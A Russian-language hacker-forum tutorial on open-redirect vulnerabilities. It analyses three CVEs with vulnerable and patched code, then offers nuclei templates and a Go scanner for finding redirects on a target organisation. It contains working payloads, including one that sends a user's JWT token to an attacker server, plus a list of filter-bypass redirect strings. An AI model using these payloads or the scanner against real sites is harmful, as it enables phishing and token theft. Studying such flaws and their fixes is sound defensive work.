D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Открытые Закрытые Редиректы
Эта статья о уязвимости, которую продают чёрные хакеры, а удаляют белые. Почему? Потому что она нам бесполезна. Как вы уже поняли, уязвимость заключается в открытом редиректе, но в большинстве случаев она не принимается платформами безопасности, так как требует взаимодействия пользователя, или, как мы говорим, "фишинга". Значит, пью свой кофе как обычно, и кто-то написал мне на форуме, что хочет купить открытый редирект для компании X, и компания X достаточно большая для наличия уязвимостей, очевидно, мне пришлось отказать, потому что это неэтично. Я стараюсь не переходить границу, мне нравится исследовать, и пока этого достаточно. В любом случае, этот парень подал мне идею поиска открытых редиректов в организации Y. Это еще одна статья, объясняющая автоматизацию, легкие и средние (еще один легкий способ) способы нахождения уязвимости.Открытый Редирект
Открытый Редирект - это уязвимость, возникающая, когда веб-приложение манипулируется для перенаправления пользователя на другой сайт, обычно недоверенный и потенциально злонамеренный внешний сайт. Уязвимости Открытых Редиректов эксплуатируют доверие пользователя к данному веб-сайту для перенаправления пользователя в вредоносные места. Под доверием я имею в виду домен, пользователь видит, что есть доверенная ссылка, "xss.is/?redirectUrl=xss[.]bz" - в данном примере, которой является xss.is, и когда пользователь нажимает на нее, он перенаправляется на недоверенный веб-сайт, xss[.]bz. Этот тип уязвимости является результатом неправильной проверки / отсутствия фильтрации при обработке URL, предоставленных пользователем. Когда веб-приложение принимает непроверенный ввод, определяющий место назначения переадресации, хакеры могут заменить его на свой злонамеренный URL.Ситуация в нашем мире
Уязвимости Открытых Редиректов часто игнорируются, хотя они представляют значительную угрозу из-за их косвенной природы и легкости, с которой их могут эксплуатировать злоумышленники. К сожалению, программы раскрытия уязвимостей обращают внимание на прямые методы атаки (SQL/XSS и т.д.), а не на уязвимости, такие как Искажение Содержимого/Открытая-Переадресация и т.д. Очевидно, в результате они подвергаются взлому простыми фишинговыми атаками.Как работает открытый редирект?
Открытый Редирект происходит, когда приложение принимает URL, предоставленный пользователем, и использует его для перенаправления пользователя на новую страницу без должной проверки. Это может быть параметр, который отправляется в POST-запросе, или параметр в URL в GET-запросе. Если вы найдете открытый редирект в POST-запросе, компании даже не будут на это смотреть, очевидно, в зависимости от случая, но в основном это будет игнорироваться. Но в GET-запросе, это будет хотя бы рассмотрено. Процесс обычно выглядит так:Ввод пользователя: пользователь нажимает на ссылку, которая должна перенаправить его внутри того же сервиса (веб-сайта). Однако эта ссылка имеет параметр, который можно контролировать пользователем. Допустим, параметр redirectURL.
Проверка системы: веб-приложение не санитизирует этот ввод. В результате оно не различает внутренние и внешние направления. Таким образом, значение параметра становится вредоносным веб-сайтом.
Эксплуатация: приложение выполняет перенаправление на основе ввода хацкера, и пользователь после нажатия на "доверенную" ссылку перенаправляется на вредоносный веб-сайт.
Не существует определенных видов открытых редиректов, но если бы мне пришлось их разделить, я бы выделил 3 вида на основе моего опыта:
- Непроверенные Редиректы: это редиректы, которые не требуют никакой аутентификации. Так что уязвимость на самом деле непроверенная (не прошедший проверку подлинности / без входа).
- Проверенные Редиректы: Как вы понимаете, это редиректы, требующие аутентификации ИЛИ происходящие в процессе аутентификации. Отличный пример для этого может быть служба OAuth, которая позволяет перенаправление и может быть использована хакерами для кражи токенов.
- Службы третьих сторон: ваш веб-сайт может быть интегрирован со службами третьих сторон, у которых есть эта уязвимость или "функциональность". Хороший пример - плагины сокращения URL, вы добавляете плагин сокращения URL для вашего форума, и злоумышленники используют его для фишинга ваших пользователей.
CVE-2023-5375
Я постараюсь объяснить это как можно проще, давайте перед проверкой кода проверим сам эксплойт.Код: Скопировать в буфер обмена
http://127.0.0.1:8080/project/switch/1?targetPath=https://google.com
Мы можем сделать заметку себе, когда дела усложняются, но этот случай прост, как и большинство случаев с открытыми редиректами. Уязвимый параметр - "targetPath".
Уязвимый код:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
$targetPath = $request->query->get('targetPath', false);
if ($targetPath) {
return $this->redirect($targetPath);
}
return $this->redirectToRoute('dashboard');
}
protected function setActiveProject(Request $request, Project $project): bool
{
if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
return false;
}
$request->getSession()->set('activeProjectId', $project->getId());
return true;
}
}
Код: Скопировать в буфер обмена
Код:
$targetPath = $request->query->get('targetPath', false);
if ($targetPath) {
return $this->redirect($targetPath);
}
Исправленная версия кода:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
$targetPath = $request->query->get('targetPath', false);
if ($targetPath && $this->isLocalUrl($request, $targetPath)) {
return $this->redirect($targetPath);
}
return $this->redirectToRoute('dashboard');
}
protected function setActiveProject(Request $request, Project $project): bool
{
if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
return false;
}
$request->getSession()->set('activeProjectId', $project->getId());
return true;
}
protected function isLocalUrl(Request $request, $url): bool
{
// If the first character is a slash, the URL is relative (only the path) and is local
if (str_starts_with($url, '/')) {
return true;
}
// If the URL is absolute but starts with the host of mosparo, we can redirect it.
// Add the slash to prevent a redirect when a similar top-level domain is used.
// For example, mosparo.com should not allow a redirect to mosparo.com.au
if (str_starts_with($url, $request->getSchemeAndHttpHost() . '/')) {
return true;
}
// The URL does not match the two checks because it's an external URL; no redirect in that case.
return false;
}
}
Новый метод isLocalUrl предназначен для проверки, является ли данный URL локальным для приложения. Этот метод выполняет две основные проверки. Сначала он проверяет, начинается ли URL с прямого слеша (/), указывая на то, что это относительный путь и, следовательно, локальный. Вторая проверка - он затем проверяет, является ли URL абсолютным, но начинается с той же схемы и хоста, что и приложение, гарантируя, что перенаправление остается в пределах того же домена. И, очевидно, логика перенаправления изменена, targetPath теперь проверяется с помощью метода isLocalUrl. Это гарантирует, что приложение перенаправляет только на URL, которые являются либо относительными путями, либо абсолютными URL-адресами, принадлежащими тому же домену.
Что-то от себя:
Я не разработчик PHP, анализировал с помощью google + AI, насколько я понимаю, они использовали метод $request->getSchemeAndHttpHost() для получения схемы и хоста приложения. Этот метод идентифицирует хост (домен) из заголовка "Host", так что, если вы, допустим, отправите запрос на "xss.is" с заголовком хоста "xss.bz", технически это должно привести к ошибке, но если это не так, то вы можете злоупотребить методом (т.к. метод примет этот хост как основной домен - но технически такое не должно быть тк с неправильным хостом этот сайт не откроет и выйдет ерр0р 5xx). ОПЯТЬ ЖЕ, я не разработчик и у меня не так много опыта в программировании, так что я могу ошибаться, но я думаю, что это возможный способ злоупотребления методом. Еще один способ злоупотребить этим методом - через полезные нагрузки вроде '//google.com/', она точно пройдет первую проверку, но я не знаю, как она будет обрабатываться дальше.
На сколько я понимаю, этот случай является вторым видом открытого редиректа, Проверенный Редирект, который можно эксплуатировать ПОСЛЕ аутентификации.
CVE-2023-35948
Существует уязвимость открытого редиректа в Novu, когда пользователи пытаются войти через github.Давайте сначала проверим Вход через Github:
Код: Скопировать в буфер обмена
Код:
@Get('/github/callback')
@UseGuards(AuthGuard('github'))
async githubCallback(@Req() request, @Res() response) {
if (!request.user || !request.user.token) {
return response.redirect(`${process.env.FRONT_BASE_URL + '/auth/login'}?error=AuthenticationError`);
}
let url = process.env.FRONT_BASE_URL + '/auth/login';
const redirectUrl = JSON.parse(request.query.state).redirectUrl;
/**
* Make sure we only allow localhost redirects for CLI use and our own success route
* https://github.com/novuhq/novu/security/code-scanning/3
*/
if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
url = redirectUrl;
}
url += `?token=${request.user.token}`;
if (request.user.newUser) {
url += '&newUser=true';
}
/**
* partnerCode, next and configurationId are required during external partners integration
* such as vercel integration etc
*/
const partnerCode = JSON.parse(request.query.state).partnerCode;
if (partnerCode) {
url += `&code=${partnerCode}`;
}
const next = JSON.parse(request.query.state).next;
if (next) {
url += `&next=${next}`;
}
const configurationId = JSON.parse(request.query.state).configurationId;
if (configurationId) {
url += `&configurationId=${configurationId}`;
}
const invitationToken = JSON.parse(request.query.state).invitationToken;
if (invitationToken) {
url += `&invitationToken=${invitationToken}`;
}
return response.redirect(url);
}
Но вот уязвимый код:
Код: Скопировать в буфер обмена
Код:
if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
url = redirectUrl;
}
Используемый для атаки пейлоад:
Код: Скопировать в буфер обмена
https://<novu_api>/v1/auth/github/callback?code=&state={"source":"web","redirectUrl":"http://localhost:pass@<attacker_server>/"}
Таким образом, когда атакующий использовал @, вместо перенаправления на оригинальный сервер, он перенаправил на сервер атакующего:
Код: Скопировать в буфер обмена
http://localhost:pass@<attacker_server>/?token=<JWT_token>
Я могу ошибаться, но, как я понимаю, в этом случае сервер атакующего является основным доменом, а localhost
https://localhost
Когда вы кликаете по этой ссылке, вы будете перенаправлены на evil.com. Почему? Потому что браузер интерпретирует часть после @ (evil.com) как фактический пункт назначения и перенаправляет вас туда. Это мера безопасности, чтобы предотвратить фишинг, где пользователя могут обмануть, заставив думать, что он обращается к безопасной ссылке localhost, в то время как на самом деле он перенаправляется на вредоносный внешний сайт. Таким образом, мера безопасности, реализованная браузером, сама становится угрозой, что так иронично xD
Исправленный код:
Код: Скопировать в буфер обмена
if (redirectUrl && redirectUrl.startsWith('http://localhost:') && !redirectUrl.includes('@')) {
Теперь в этом коде URL должен начинаться с localhost, не может быть null и не должен включать '@'.
Это также второй вид смешанный с третьим видом открытых перенаправлений, в которых уязвимость возникает ВО ВРЕМЯ аутентификации.
CVE-2023-0748
В этом случае уязвимый код находится везде, так что давайте начнем с одного из эксплойтов:Код: Скопировать в буфер обмена
https://mainnet.demo.btcpayserver.org/recovery-seed-backup?cryptoCode=BTC&mnemonic=above&passphrase=&isStored=false&requireConfirm=true&returnUrl=//evil.com
Уязвимая часть - параметр "returnUrl", теперь давайте проверим, как это выглядит в коде:
Код: Скопировать в буфер обмена
<a href="@Model.ReturnUrl" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
У меня совершенно нет опыта с C#, так что начнем с нубства. Мы видим, что проблема, вероятно, в @Model.ReturnUrl, "Model" - это объект, который передается от контроллера к представлению. Он содержит информацию, которую нужно обработать, что в нашем случае является URL. ReturnUrl - это переменная внутри объекта "Model". Она хранит значение, представляющее возвращаемый URL, который перенаправляет пользователей обратно на определенную страницу. Проблема здесь в том, что совсем нет санитизации.
Исправленный код выглядит так:
Код: Скопировать в буфер обмена
<a href="@Url.EnsureLocal(Model.ReturnUrl)" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
EnsureLocal - это метод, предоставляемый объектом Url, который гарантирует, что URL является локальным. Model.ReturnUrl, как я уже говорил, относится к переменной с именем ReturnUrl в объекте Model. Теперь вопрос в том, как работает метод EnsureLocal. Вот основной код, созданный для устранения этой уязвимости:
Код: Скопировать в буфер обмена
Код:
public static string? EnsureLocal(this IUrlHelper helper, string? url, HttpRequest? httpRequest = null)
{
if (url is null || helper.IsLocalUrl(url))
return url;
if (httpRequest is null)
return null;
if (Uri.TryCreate(url, UriKind.Absolute, out var r) && r.Host.Equals(httpRequest.Host.Host))
return url;
return null;
}
Простыми словами, если я правильно понял. URL пуст? Остановка, если не пуст, продолжаем и чекаем локальный он или нет, если локальный, тут 2 случая, xss.is/1 локальный как и /1, так что он чекает ссылка совпадает с хостом или нет, если совпадает то продолжается (это в случаи хсс.ис/1, в /1 он и так локальный). Потом создаёт ссылку для редиректа и снова чекает хост совпадает ли с доменом в той ссылке (например из /3 сделает xss.is/3 и чекнет xss.is это хост или нет), если да, то круто.
Эта логика используется во всей платформе для предотвращения уязвимостей открытых перенаправлений.
Организация Y
Исходя из того, что мы видим, уязвимости открытых перенаправлений обычно можно идентифицировать через параметры вроде redirectUrl и т. д. Так давайте подумаем о базовых шагах автоматизации:- Веб-сайт должен быть просканирован, и значения параметров должны быть удалены
- Удаленные значения должны быть заменены на URL, на который мы хотим, чтобы произошло перенаправление
- Инструмент должен проверить, произошло ли перенаправление или нет, это можно сделать через заголовок под названием “Location”
Простой способ
Самый простой способ сделать это - использовать nuclei, он легко идентифицирует открытые перенаправления, и есть множество плагинов для CVE, в которых есть открытые перенаправления, поэтому использование его - на самом деле самый простой способ идентифицировать эти уязвимости. Давайте посмотрим на некоторые плагины:Sap Redirect:
Код: Скопировать в буфер обмена
Код:
http:
- method: GET
path:
- "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://interact.sh"
Код:
matchers:
- type: status
status:
- 302
- type: word
words:
- "Location: https://www.interact.sh"
- "Location: https://interact.sh"
Код: Скопировать в буфер обмена
Код:
- method: GET
path:
- "{{BaseURL}}/signin?from=https://interact.sh"
- "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"
Код:
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Location: https://interact.sh"
- type: word
part: body
words:
- "alert(document.cookie)"
Еще один простой способ
Nuclei сканирует готовые плагины, что плохо, если вы планируете использовать nuclei на каком-то продукте, где целью является поиск 0day. Я предпочитаю вам использовать сканер, который получит все необходимые параметры, а затем использовать эти параметры для проверки уязвимостей открытых перенаправлений. Вы можете использовать краулер burp pro или любой другой инструмент с открытым исходным кодом, например bablo, который участвует в конкурсе. Использование этих инструментов простое и имеет одну и ту же цель - сканирование. После этого вы можете написать инструмент, который заменит параметры каким-то URL и проверит, происходит ли перенаправление на этот URL через заголовок.Код: Скопировать в буфер обмена
Код:
package main
import (
"crypto/tls"
"flag"
"fmt"
"net/http"
"net/url"
"strings"
"sync"
)
func main() {
fmt.Println("Made with lyubofff by GrozdniyAndy of XSS.is")
flag.Parse()
inputURL := flag.Arg(0)
if inputURL == "" {
fmt.Println("Please provide a URL")
return
}
replacements := []string{
"interact.sh", "@interact.sh", "http://interact.sh", "https://interact.sh",
".interact.sh", "/interact.sh", "/.interact.sh", `\/interact.sh`, `\/.interact.sh`,
`\/\/.interact.sh`, `\/\/interact.sh`, `/\/interact.sh`, `/\/.interact.sh`,
";interact.sh", ";.interact.sh", "/http://interact.sh", "/https://interact.sh",
"http://;@interact.sh", "https://;@interact.sh",
}
if !strings.HasPrefix(inputURL, "http://") && !strings.HasPrefix(inputURL, "https://") {
var wg sync.WaitGroup
wg.Add(2)
go processInputURL("http://"+inputURL, replacements, &wg)
go processInputURL("https://"+inputURL, replacements, &wg)
wg.Wait()
} else {
processInputURL(inputURL, replacements, nil)
}
}
func processInputURL(inputURL string, replacements []string, wg *sync.WaitGroup) {
if wg != nil {
defer wg.Done()
}
httpClient := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
if strings.HasPrefix(inputURL, "https://") {
httpClient.Transport = &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
}
parsedURL, err := url.Parse(inputURL)
if err != nil {
fmt.Printf("Error parsing URL: %v\n", err)
return
}
query := parsedURL.Query()
for key, originalValues := range query {
for _, originalValue := range originalValues {
for _, replacement := range replacements {
query.Set(key, replacement)
testURL := *parsedURL
testURL.RawQuery = query.Encode()
testRedirect(testURL.String(), httpClient, key, originalValue, replacement)
}
query.Set(key, originalValue)
}
}
}
func testRedirect(testURL string, httpClient *http.Client, key, originalValue, replacement string) {
resp, err := httpClient.Get(testURL)
if err != nil {
fmt.Printf("Error making HTTP request to '%s': %v\n", testURL, err)
return
}
defer resp.Body.Close()
if resp.StatusCode >= 300 && resp.StatusCode < 400 {
location, err := resp.Location()
if err == nil && strings.Contains(location.Host, "interact.sh") {
fmt.Printf("Success: '%s' - Parameter '%s' with original value '%s' replaced with '%s' redirected to 'interact.sh'\n", testURL, key, originalValue, replacement)
} else {
fmt.Printf("Fail: '%s' - Parameter '%s' with original value '%s' replaced with '%s' did not redirect to 'interact.sh'\n", testURL, key, originalValue, replacement)
}
} else {
fmt.Printf("No redirect: '%s' - Parameter '%s' with original value '%s' replaced with '%s'\n", testURL, key, originalValue, replacement)
}
}
Изображение [1]